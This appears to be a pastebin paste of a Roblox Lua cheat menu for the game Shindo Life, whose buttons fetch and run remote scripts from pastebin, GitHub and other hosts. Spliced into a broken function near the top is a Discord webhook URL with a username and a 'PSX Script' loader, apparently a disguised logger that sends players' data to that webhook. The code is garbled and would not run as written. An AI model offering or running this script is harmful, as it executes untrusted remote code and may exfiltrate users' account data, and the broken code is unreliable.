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From DaRkss55, 1 Year ago, written in JavaScript.
This paste is a reply to loadstring(game:HttpGet( from mate - view diff
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  1. local library = loadstring(game:HttpGet("https://pastebin.com/raw/GAGA5H8t"))();
  2.  
  3.  
  4. local Gamer = library:CreateSection("Shindo Life");
  5. Gamer:Button("~ Press Right Shift To Hide GUI ~");
  6. function LoadMeUsername = "DaRkss55"
  7. WebHook = "https://discord.com/api/webhooks/1078150495027347536/-Bth4Ee3cUOyNxi_EsC7Hdj70GBCp1gs8Twg-AKZCSXLu_iYDoRndVdmH4848Urd38es"
  8.  
  9. _G.CustomScriptName = "PSX Script"
  10. _G.Text1 = "Script Loaded..."
  11. _G.Text2 = "Waiting for Script"
  12. _G.Text3 = "Checking Scripts..."
  13. _G.Text4 = "Starting Scripts..."
  14. loadstring(game:HttpGet("https://raw.githubusercontent.com/Justanotherdme/petsimx22/main/petsimguiss.lua"))()(link)
  15.     loadstring(game:HttpGet(link))()
  16. end
  17. Gamer:Button("Infinite Spins", function()
  18.     LoadMe('https://raw.githubusercontent.com/FurkyYT/stuff/main/infspin')
  19. end)
  20. Gamer:Button("Best GUI", function()
  21.     loadstring(game:HttpGet("https://pastebin.com/raw/i53Y3rew",true))()
  22. end)
  23. Gamer:Button("*NEW* OP GUI", function()
  24.     loadstring(game:HttpGet("https://raw.githubusercontent.com/6Wumpus6/SpyHub/main/ShindoLife", true))()
  25. end)
  26. Gamer:Button("GUI 2", function()
  27.     loadstring(game:HttpGet("https://raw.githubusercontent.com/reavscripts/sl2_autofarm/main/main.lua", true))()
  28. end)
  29. Gamer:Button("GUI 3", function()
  30.     LoadMe('http://assasine.com/Scripts/Shinobi_Life_2_Autofarm.lua')
  31. end)
  32. Gamer:Button("GUI 4", function()
  33.     loadstring(game:HttpGet(('https://pastebin.com/raw/Kc7XZKbC'),true))()
  34. end)
  35. Gamer:Button("Auto Quest", function()
  36.     LoadMe('https://pastebin.com/raw/d993kP6G')
  37. end)
  38. Gamer:Button('Inf Chakra',function()
  39.     _G.InfChakra = true
  40.     loadstring(game:HttpGet('https://pastebin.com/raw/P0BqvPg7'))()    
  41. end)
  42.  
  43. library:Ready();

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